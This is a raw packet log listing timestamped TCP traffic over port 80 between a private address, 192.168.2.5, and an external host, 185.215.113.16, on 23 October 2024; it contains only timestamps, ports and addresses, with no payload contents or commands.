Oct 23, 2024 15:49:14.125765085 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125775099 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125787973 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125797033 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125802994 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125807047 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125818968 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125828028 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125833988 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125847101 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125850916 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125859022 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125868082 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125880003 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125890970 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125893116 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125907898 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125914097 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125924110 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125924110 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125938892 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125947952 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125955105 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125956059 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125971079 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125977993 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.125988007 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.125993967 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.126003981 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.126013994 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.126019955 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.126034021 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.126039028 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.126049042 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.126070023 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.126071930 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.126085043 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.126086950 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.126111031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.126126051 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.126132011 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.126141071 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.126132011 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.126157999 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.126172066 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.126200914 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.141875982 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.141892910 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.141942978 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.141949892 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.141983986 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.141993999 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.149740934 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.149755001 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.149806023 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.150300980 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.150394917 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.150409937 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.150424957 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.150459051 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.150459051 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.150501013 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.163902998 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.163919926 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.163934946 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.163980961 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.164022923 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.195732117 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.195769072 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.195786953 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.195812941 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.195842028 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.195877075 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.195887089 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.195914984 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.195920944 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.195955992 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.227895021 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.227931976 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.227957010 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.227984905 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.228044987 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.228096008 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.228101015 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.228130102 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.228151083 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.228173018 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.228183031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.228229046 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.228234053 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.228269100 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.228276014 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.228302002 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.228310108 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.228336096 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.228343964 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.228369951 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.228384018 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.228404045 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.228418112 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.228437901 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.228451014 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.228470087 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.228482008 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.228503942 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.228518963 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.228550911 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.228571892 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.228606939 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.228624105 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.228653908 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.238528013 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.238562107 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.238646984 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.238693953 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.238733053 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239037037 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239088058 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239095926 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239140987 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239155054 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239175081 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239186049 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239211082 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239228964 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239258051 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239263058 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239298105 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239326000 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239343882 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239350080 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239386082 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239408016 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239437103 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239451885 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239504099 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239505053 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239540100 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239552021 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239573956 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239607096 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239656925 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239690065 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239723921 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239774942 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239808083 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239836931 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239840031 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239840031 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239840031 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239840031 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239840031 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239840031 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239840031 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239861012 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239871025 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239878893 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239913940 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.239938974 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239970922 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.239988089 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.240012884 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.240037918 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.240071058 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.240087032 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.240108967 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.240115881 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.240140915 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.240159988 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.240175962 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.240183115 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.240206003 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.240222931 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.240247011 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.240617037 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.240654945 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.240670919 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.240699053 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.240705967 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.240739107 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.240771055 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.240789890 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.240792990 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.240839005 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.240842104 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.240875959 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.240890026 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.240909100 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.240921974 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.240943909 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.240961075 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.240989923 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241027117 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241075993 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241122007 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241173029 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241173029 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241225004 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241226912 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241260052 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241275072 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241292953 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241303921 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241323948 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241338015 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241357088 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241374969 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241395950 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241405010 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241430044 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241442919 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241463900 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241473913 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241497993 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241511106 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241532087 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241542101 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241580009 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241599083 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241632938 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241652966 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241667032 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241677999 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241700888 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241710901 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241734982 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241748095 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241769075 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241784096 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241802931 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241820097 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241836071 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241847038 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241872072 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.241880894 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.241914988 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.242094994 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242146969 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242149115 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.242199898 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.242227077 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242276907 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242278099 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.242310047 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242328882 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.242355108 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.242362022 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242398024 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242414951 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.242439032 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.242446899 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242497921 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.242497921 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242535114 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242548943 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.242568970 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242583990 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.242602110 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242619038 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.242650986 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242652893 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.242697954 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.242713928 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242750883 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242769003 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.242784977 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242795944 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.242819071 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242830038 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.242852926 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242863894 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.242889881 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242903948 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.242923975 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242935896 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.242960930 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.242969036 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.243001938 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.243007898 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.243052006 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.466999054 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.467081070 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.467114925 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.467149973 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.467179060 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.467210054 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.467242002 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.467274904 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.467281103 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.467330933 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.467365980 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.467370033 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.467386961 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.467422009 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.469022036 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.469077110 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.469079971 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.469111919 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.469125986 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.469161034 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.469228029 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.469280005 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.469280958 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.469333887 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.469345093 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.469377041 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.469408035 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.469458103 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.469475031 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.469494104 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.469516993 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.469535112 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.469544888 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.469597101 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.469610929 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.469662905 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.469669104 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.469721079 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.469738007 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.469788074 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.469789028 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.469825029 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.469834089 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.469865084 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.469877958 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.469913960 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.469918013 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.469952106 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.469968081 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.469985008 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470005035 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470015049 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470032930 CEST	49967	80	192.168.2.5	185.215.113.16
